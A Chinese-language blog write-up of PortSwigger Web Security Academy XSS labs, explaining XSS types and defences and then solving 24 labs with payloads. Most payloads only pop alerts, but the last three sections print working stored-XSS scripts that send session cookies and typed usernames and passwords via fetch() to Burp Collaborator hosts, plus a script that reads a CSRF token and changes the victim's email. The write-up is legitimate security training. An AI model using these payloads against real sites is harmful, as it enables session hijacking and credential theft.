XSS - 跨站指令碼之portswigger labs練習

smileleooo發表於2024-03-18

目錄
  • 1、什麼是XSS
  • 2、XSS的型別有哪些
  • 3、XSS攻擊的過程和原理
  • 4、XSS的防禦
  • 5、可能會用到的XSS Payload資源
  • 6、靶場訓練 portswigger labs
    • 6.1 沒有任何編碼的反射型XSS
    • 6.2 沒有任何編碼的儲存型XSS
    • 6.3 從URL獲取引數寫入document的DOM型XSS
    • 6.4 從URL獲取引數寫入innerHTML的DOM型XSS
    • 6.5 利用jQuery的href屬性的DOM型XSS
    • 6.6 利用jQuery的hashchange事件的DOM型XSS
    • 6.7 尖括號編碼的反射型XSS
    • 6.8 雙引號編碼的href屬性儲存型XSS
    • 6.9 JavaScript字串中帶尖括號編碼的反射型XSS
    • 6.10 從URL獲取引數寫到select元素內的DOM型XSS
    • 6.11 AngularJS中尖括號和雙引號編碼的DOM型XSS
    • 6.12 反射型 DOM XSS
    • 6.13 儲存型 DOM XSS
    • 6.14 大部分HTML標籤和屬性被過濾的反射型XSS
    • 6.15 除了自定義標籤外所有HTML標籤都被過濾的反射型XSS
    • 6.16 SVG標籤的反射型XSS
    • 6.17 規範連結標籤中的反射型XSS
    • 6.18 JavaScript字串中轉義了單引號和反斜槓的反射型XSS
    • 6.19 JavaScript字串中轉義了單引號並對尖括號和雙引號進行html編碼的反射型XSS
    • 6.20 對尖括號和雙引號HTML編碼及對單引號和反斜槓進行轉義的儲存型XSS
    • 6.21 對尖括號,單雙引號,反斜槓和反引號進行模板文字unicode轉義的反射型XSS
    • 6.22 利用XSS來竊取Cookies
    • 6.23 利用XSS來竊取密碼
    • 6.24 利用XSS執行CSRF

1、什麼是XSS

跨站指令碼攻擊(Cross Site Scripting)縮寫為CSS但與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,因此跨站指令碼攻擊縮寫為XSS。

XSS 指攻擊者可以在頁面中嵌入惡意指令碼程式碼,當正常使用者訪問該頁面時,瀏覽器會解析並執行這些惡意程式碼,從而達到攻擊使用者的目的。這些惡意程式碼通常是JavaScript。

XSS 攻擊有兩大要素:

  • 攻擊者注入惡意程式碼

  • 瀏覽器解析執行惡意程式碼

XSS的重點不在於跨站,而在於指令碼的攻擊。


2、XSS的型別有哪些

從攻擊程式碼的工作方式可以分為三個型別:

  • 反射型(非持久型):惡意程式碼來自當前的HTTP請求,並且這些程式碼執行是一次性的,不會儲存到資料庫,直接反射回顯在頁面上。

  • 儲存型(持久型):惡意程式碼會儲存到資料庫,每次訪問該頁面都將觸發XSS。

  • DOM型:也屬於反射型的一種,客戶端網頁尾本對本地DOM的惡意篡改,而使得攻擊指令碼被執行。

    DOM(Document Object Model 文件物件模型)

  • 其他型別XSS介紹:跨站的藝術-XSS入門與介紹


3、XSS攻擊的過程和原理

反射型XSS

反射型XSS是最簡單的跨站指令碼攻擊。當Web程式在HTTP請求中接收到的資料,以不安全的方式將該資料包含在即時響應中頁面中,也就是把使用者輸入的資料從伺服器反射給使用者瀏覽器。

image

要利用這個漏洞就要誘使使用者去訪問一個包含惡意程式碼的URL,當受害者點選這些專門設計的連結的時候,惡意程式碼會直接在受害者主機上的瀏覽器執行。從而盜取使用者的敏感資訊等。

攻擊過程:

  1. 攻擊者傳送帶有XSS惡意指令碼的連結給使用者
  2. 使用者點選了惡意連結,訪問了目標伺服器(正常伺服器)
  3. 網站將XSS同正常頁面返回到使用者瀏覽器
  4. 使用者瀏覽器解析執行了網頁中的XSS惡意程式碼,向惡意伺服器發起請求
  5. 攻擊者從自己搭建的惡意伺服器中獲取使用者提交的資訊

漏洞原因:使用者的輸入或者一些使用者可控引數未經處理地輸出到頁面上。

儲存型XSS

儲存型XSS攻擊不需要特製的連結來執行。僅僅需要提交XSS利用程式碼到一個網站上其他使用者可能訪問的地方(反射型XSS通常只在RUL中)。可能是部落格評論,使用者評論,留言板等地方。一旦使用者訪問該頁面,將自動執行。

攻擊過程:

  1. 攻擊者在目標伺服器(正常伺服器)上構造XSS惡意指令碼,儲存到資料庫中
  2. 使用者在未登入狀態下,訪問了目標伺服器,檢視存在XSS的頁面
  3. 網站將XSS同正常頁面返回到使用者瀏覽器
  4. 使用者瀏覽器解析了網頁中的XSS惡意程式碼,向惡意伺服器發起請求
  5. 攻擊者從自己搭建的惡意伺服器中獲取使用者提交的資訊

漏洞成因:

儲存型XSS漏洞的成因與反射型的根源類似,不同的是惡意程式碼會被儲存在伺服器中,導致其它使用者在訪問資源時也會執行惡意程式碼(XSS蠕蟲)。

DOM型跨站

透過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。

在下面段程式碼中,submit按鈕的onclick事件呼叫了xsstest()函式。而在xsstest()中,修改了頁面的DOM節點,透過innerHTML把一段使用者資料當作HTML寫入到頁面中,造成了DOM型XSS攻擊。

<html>
    <head>
        <title>DOM Based XSS Demo</title>
        <script>
            function xsstest() {
                var str = document.getElementById("input").value;
                document.getElementById("output").innerHTML = "<imgsrc='"+str+"'></img>";
            }
        </script>
    </head>
    <body>
        <div id="output"></div>
        <input type="text" id="input" size=50 value="" />
        <input type="button" value="submit" onclick="xsstest()" />
    </body>
</html>

漏洞原因:

DOM型XSS是基於DOM文件物件模型的。對於瀏覽器來說,DOM文件就是一份XML文件,透過JavaScript就可以輕鬆的訪問DOM。當確認客戶端程式碼中有DOM型XSS漏洞時,誘使(釣魚)一名使用者訪問自己構造的URL,利用步驟和反射型很類似。唯一的區別就是,構造的URL引數不用傳送到伺服器端,可以達到繞過WAF、躲避服務端的檢測效果。


4、XSS的防禦

  • 對使用者輸入進行驗證和過濾:在處理使用者輸入時對輸入的內容進行驗證和過濾,確保使用者輸入的內容不包含惡意指令碼。

  • 對輸出資料進行編碼:在HTTP響應報文中輸出使用者可控制的資料時,對輸出進行編碼,防止它被解釋為程式碼內容從而被執行。

  • 使用HTTPOnly cookie:HTTPOnly它可以防止JavaScript程式碼讀取cookie資料。

  • 設定正確的Content Security Policy:設定正確的CSP,可以限制瀏覽器只載入來自可信來源的指令碼和內容。


5、可能會用到的XSS Payload資源

  • OWASP:XSS Filter Evasion Cheat Sheet
  • portswigger:Cross-site scripting (XSS) cheat sheet
  • AwesomeXSS
  • PayloadsAllTheThings /XSS Injection/
  • xss payloads collect

6、靶場訓練 portswigger labs

地址:All labs | Web Security Academy (portswigger.net)
工具:火狐瀏覽器、Burp Suite

6.1 沒有任何編碼的反射型XSS

Reflected XSS into HTML context with nothing encoded

搜尋框輸入最簡單的<script>alert(/xss/)</script>

image

證明發現XSS漏洞的傳統方法是使用該alert()函式建立一個彈出視窗,這表明可以在給定域上執行任意JavaScript程式碼。

6.2 沒有任何編碼的儲存型XSS

Stored XSS into HTML context with nothing encoded

看到一個留言板,留言板的資料通常會被儲存到資料庫中,留言板輸入<script>alert(/xss/)</script>

image

提交以後,再次回到留言板的頁面,XSS被觸發了。

image

6.3 從URL獲取引數寫入document的DOM型XSS

DOM XSS in document.write sink using source location.search

document.write向html寫內容
search屬性是一個可讀可寫的字串,可設定或返回當前URL的查詢部分(問號?之後的部分)。

在搜尋框輸入搜尋內容,輸入的內容被放到img標籤裡面。

image

嘗試將img標籤閉合"><script>alert(/xss/)</script>,XSS被觸發了。

image

6.4 從URL獲取引數寫入innerHTML的DOM型XSS

DOM XSS in innerHTML sink using source location.search

innerHTML可以獲取指定DOM的HTML元素,也可以替換指定DOM的HTML元素

在搜尋框輸入<script>alert(/xss/)</script>沒有回顯內容,原因是為了安全HTML5規定不執行innerHTML插入的<script>標籤。輸入其他測試的內容被放到了這個span標籤裡面。

image

嘗試輸入其他標籤觸發js程式碼,<img src='' onerror="alert(/xss/)">img標籤當資源載入失敗或無法使用時,觸發onerror事件。

image

6.5 利用jQuery的href屬性的DOM型XSS

DOM XSS in jQuery anchor href attribute sink using location.search source

Anchor 物件代表 HTML <a> 連結標籤
href可以連結到URL,也可以載入指令碼(比如 href="javascript:alert('Hello');")

提示點選back,回到上一頁,這裡剛好對應就是returnPath引數記錄的路徑。

image

分析一下這個backlink,returnPath中的值會被傳到了href屬性裡面。

image

如果將returnPath該改成我們要執行獲取cookie的js程式碼javascript:alert(doucment.cookie),則也會被傳進herf屬性,又由於href屬性是可以載入指令碼的,所以會執行這個js程式碼。

點選back後,果然觸發了js程式碼彈窗。但是沒有cookie的值,這可能是瀏覽器設定HTTPOnly防止讀取cookie資料。

image

6.6 利用jQuery的hashchange事件的DOM型XSS

DOM XSS in jQuery selector sink using a hashchange event

當URL的片段識別符號更改時,將觸發hashchange事件 (跟在#符號後面的URL部分,包括#符號)

頁面原始碼搜尋hashchange,看到這段js程式碼,它的含義是它會在瀏覽器的hash(URL中#後面的部分)發生變化時被觸發。作用是根據URL中的hash值,在頁面中查詢對應的部落格文章標題,並將該標題所在的位置滾動到可視區域內。如果找到匹配的元素(即 post 不為 null),則會呼叫 scrollIntoView() 方法,將該元素滾動到可視區域內。

image

官方題解,在伺服器修改body值併傳送資料包到客戶端,可以造成頁面hash值變化,觸發XSS攻擊執行print()函式。

image

沒搞懂這題。

6.7 尖括號編碼的反射型XSS

Reflected XSS into attribute with angle brackets HTML-encoded

搜尋框輸入"><script>alert(/xss/)</script>,文字框輸入的內容作為input標籤的value屬性值。其中尖括號被編碼,/同樣被編碼,括號和引號沒有被編碼。

image

建立滑鼠移動事件執行XSS程式碼,然後把前後的雙引號閉合 "onmouseover="alert(/xss/)

image

6.8 雙引號編碼的href屬性儲存型XSS

Stored XSS into anchor href attribute with double quotes HTML-encoded

在留言板輸入內容後,評論會顯示留言內容,其中輸入的網址會成為a標籤herf屬性的值,它所對應的是輸入的使用者名稱。

image

在Website:這一欄輸入javascript:alert(/xss/)儲存,返回到留言板頁面,點選使用者名稱,觸發XSS彈窗。

image

6.9 JavaScript字串中帶尖括號編碼的反射型XSS

Reflected XSS into a JavaScript string with angle brackets HTML encoded

搜尋框輸入<script>alert(/xss/)</script>,發現js程式碼在處理過程中將尖括號被編碼。

image

不使用尖括號,閉合前後的單引號,並且構造成一個完整js語句';alert(/xss/);',觸發XSS彈窗。

image

6.10 從URL獲取引數寫到select元素內的DOM型XSS

DOM XSS in document.write sink using source location.search inside a select element

下面這段js用於根據URL中的查詢引數storeId來生成一個下拉選擇框select元素。

image

所以在URL後面加上引數storeId,storeId=<script>alert(/xss/)</script>,toreId的值被加入到了拉選擇框。

image

6.11 AngularJS中尖括號和雙引號編碼的DOM型XSS

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

AngularJS是一個由Google開發的前端JavaScript框架,AngularJS表示式寫在雙大括號內:{{ expression }},可以放入JS指令碼。

在搜尋框輸入add{{1+1}},效果是add2,說明雙大括號內是可以執行程式碼表示式的。

image

在搜尋框輸入{{constructor.constructor('alert(/xss/)')()}}其中constructor是建構函式。

image

6.12 反射型 DOM XSS

Reflected DOM XSS

頁面原始碼,在searchResults.js中eval函式將響應的資料拼接字串後執行。

image

本題與前面的所不同,burp抓包響應的是json格式。並且會對的"轉譯。

image

但是沒有對\進行轉移,在雙引號前加\,可以使雙引號轉義失效,\"}破壞原本json語義,使json資料提前結束。

image

加上alert彈窗\"};alert(/xss/);//,最終eval函式的值會類似如下是這樣,alert函式會被執行。

image

6.13 儲存型 DOM XSS

Stored DOM XSS

在留言板輸入內容後,評論會顯示留言內容,其中輸入的</script>被過濾了。

image

看一下js原始碼,loadCommentsWithVulnerableEscapeHtml.js中,replace()將尖括號換成空字串,但是隻對第一個<>進行替換。

image

在xss程式碼前插入一組<>,即可繞過,留言是在一個<p>標籤裡面,所以使用img標籤觸發錯誤事件<><img src=1 onerror=alert(/xss/)>,在xss程式碼前插入一組<>即可使xss程式碼逃逸。

image

6.14 大部分HTML標籤和屬性被過濾的反射型XSS

Reflected XSS into HTML context with most tags and attributes blocked

本題需要繞過WAF,大部分標籤和屬性被過濾了。

image

burp抓包使用intuder模組,爆破哪些標籤和屬性不會被過濾。

image

使用Burp官方提供的 XSS cheat-sheet 分別複製其中的標籤和事件到payload。

image

image

首先列舉標籤,發現bodycustom tags沒有被過濾。

image

接下來列舉事件屬性,在body標籤裡面新增變數,複製所以events到payload。

image

發現這些屬性沒有被過濾。

image

解題使用的是onresize,利用iframe和onload屬性自動觸發onresize事件。

在exploit server,將以下playload儲存併傳送給受害者。

image

這個payload透過iframe的src屬性載入網址,然後在頁面載入和大小變化時執行print()。

6.15 除了自定義標籤外所有HTML標籤都被過濾的反射型XSS

Reflected XSS into HTML context with all tags blocked except custom ones

為自定義標籤設定id屬性,並像操作其他DOM元素一樣,透過JavaScript來訪問和操作這些帶有id的自定義元素,在url中使用#id可以將頁面定位到指定id元素。

直接分析官方給出的Payload:

<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

這段js程式碼將瀏覽器的當前位置重定向到指定的URL,serach引數的內容是 <xss id=x onfocus=alert(document.cookie) tabindex=1>

這個 XSS payload中:<xss id=x:是一個自定義的標籤,用於識別和定位該元素。onfocus=alert(document.cookie):在元素獲得焦點時觸發彈出一個對話方塊顯示當前cookie資訊。tabindex=1:設定tabindex屬性為1,使用者在透過Tab鍵切換焦點時可能會先將焦點定位到這個自定義元素上。

進入exploit server,將以下playload儲存併傳送給受害者。

image

6.16 SVG標籤的反射型XSS

Reflected XSS with some SVG markup allowed

burp intruder爆破標籤和屬性發現svg標籤、animatetransform標籤未被過濾。

image

payload:<svg><animatetransform onbegin=alert(/xss/)>,其中<svg> 標籤表示開始一個 SVG 圖形容器;<animateTransform> 元素用於定義 SVG 動畫中的變換效果;onbegin 屬性定義了動畫開始時要執行的指令碼或函式。

image

6.17 規範連結標籤中的反射型XSS

Reflected XSS in canonical link tag

如果一個連結元素新增了accesskey="k"屬性,那麼使用者在開啟網頁後,只需按下 Alt + K 鍵,就能夠直接訪問這個連結,而無需使用滑鼠進行點選。

官方題解'?accesskey='x'onclick='alert(1),在Chrome瀏覽器訪問這個url。

image

不太理解。

6.18 JavaScript字串中轉義了單引號和反斜槓的反射型XSS

Reflected XSS into a JavaScript string with single quote and backslash escaped

輸入"a'b/c\測試,其中的單引號和反斜槓確實被轉義了。

image

輸入的<script>的後標籤被用作閉合最前面的script標籤了。

image

輸入</script><script>alert(/xss/)</script>,第一個</script>用作閉合最前面的script標籤了。後面被script被正常執行。

image

6.19 JavaScript字串中轉義了單引號並對尖括號和雙引號進行html編碼的反射型XSS

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

輸入<>"/\'測試,發現其中的\'未被編碼,但是'被轉義。

image

輸入\';alert(/xss/);//,使用反斜槓來轉義‘轉義單引號的反斜槓’,這樣單引號不會被轉義,使得js字串的單引號閉合。;使語句完整,在alert後註釋掉後面的js程式碼,構成完整語句不報錯。

image

6.20 對尖括號和雙引號HTML編碼及對單引號和反斜槓進行轉義的儲存型XSS

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

輸入a'b"c\d/e>f<測試編碼情況,單引號和反斜槓進行了轉義。

image

輸入的網址被放在了onclick事件中作為字串被單引號包裹。http是為了透過網址檢查,使用html實體編碼繞過單引號轉義,&apos;為單引號html實體編碼。

在Website:處輸入http://&apos;+alert(/xss/)+&apos;,使用實體編碼閉合原來前後的單引號,避免語法錯誤。

image

提交以後點選使用者名稱,觸發了彈窗。

image

6.21 對尖括號,單雙引號,反斜槓和反引號進行模板文字unicode轉義的反射型XSS

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

搜尋框輸入a<b>c"d\e'f/測試,使用了unicode轉義。

image

題目提示使用模板字串,JavaScript模板字串是一種特殊的字串,使用反引號包裹起來中,使用${}語法可以插入變數或表示式,這些變數或表示式會被求值並插入到字串中。

在搜尋框輸入${alert(/xss/)},出現彈窗。

image

6.22 利用XSS來竊取Cookies

Exploiting cross-site scripting to steal cookies

評論功能中的儲存型XSS漏洞。利用該漏洞竊取受害者的會話cookie,然後使用該cookie來冒充受害者。

官方解法:開啟Burp Collaborator Client,複製得到payloadrto83uc92e2fjo4fx4af48epwg27qxem.oastify.com

在留言板提交一下指令碼,fetch裡面的URL內容是Burp Collaborator Client複製出來的payload。

<script>
fetch('https://rto83uc92e2fjo4fx4af48epwg27qxem.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

這段js指令碼使用fetch函式向Collaborator的url傳送了一個POST請求,它將當前頁面的cookie作為請求的body傳送到了Collaborator。

回到Collaborator,看到下方HTTP互動的Request to Collaborator,發現了指令碼傳送來的請求,其中body值為我們要的cookie。

image

重新整理Home頁面,Burp攔截後把其中的session替換為從Collaborator拿到的session。

image

6.23 利用XSS來竊取密碼

Exploiting cross-site scripting to capture passwords

和上一題類似,使用Collaborator。

將下面的指令碼放到留言板,fetch裡面的URL內容是Burp Collaborator Client複製出來的payload。

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://skg9uv3atftgapvgo51gv95qnht9hz5o.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

這段js指令碼包含了兩個輸入框,一個是使用者名稱的輸入框,另一個是密碼的輸入框。當密碼輸入框的值發生改變時(onchange事件)會執行js程式碼。其中使用了fetch函式傳送了一個POST請求到Collaborator。請求的body部分使用了使用者名稱和密碼的組合進行拼接,並且使用冒號進行分隔。其中,使用者名稱是透過username.value獲取的,而密碼是透過this.value獲取的(即當前密碼輸入框的值)。

提交留言後,回到Collaborator,可以看到下方HTTP互動,指令碼傳送來的請求的內容是我們要的使用者名稱和密碼,然後冒充該使用者登入。

image

6.24 利用XSS執行CSRF

Exploiting XSS to perform CSRF

執行CSRF攻擊,並更改檢視部落格文章評論的人的電子郵件地址。

官方題解:進入賬戶頁面,檢視原始碼會發現在登入表單中存在一個隱藏的 CSRF token,他會在登入表單提交時被攜帶。

CSRF token是一個隨機生成的字串,它會與使用者的會話相關聯,並且被包含在每個請求中。作用是確保請求是由合法使用者發起的,而不是惡意攻擊者偽造的。

image

在留言板提交這段js指令碼:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

這段js首先透過XMLHttpRequest物件傳送了一個GET請求到/my-account頁面,一旦請求完成,會呼叫handleResponse函式。

在handleResponse函式中,從響應文字中使用了正規表示式提取了一個名為"csrf"、值為一個單詞字元序列的CSRF token。

接著傳送一個POST請求到/my-account/change-email頁面。在這個請求中,包含了之前獲取到的CSRF token以及要修改的郵箱地址test@test.com。

提交後回到留言介面,該指令碼就被執行了,郵箱地址被更改為test@test.com。

相關文章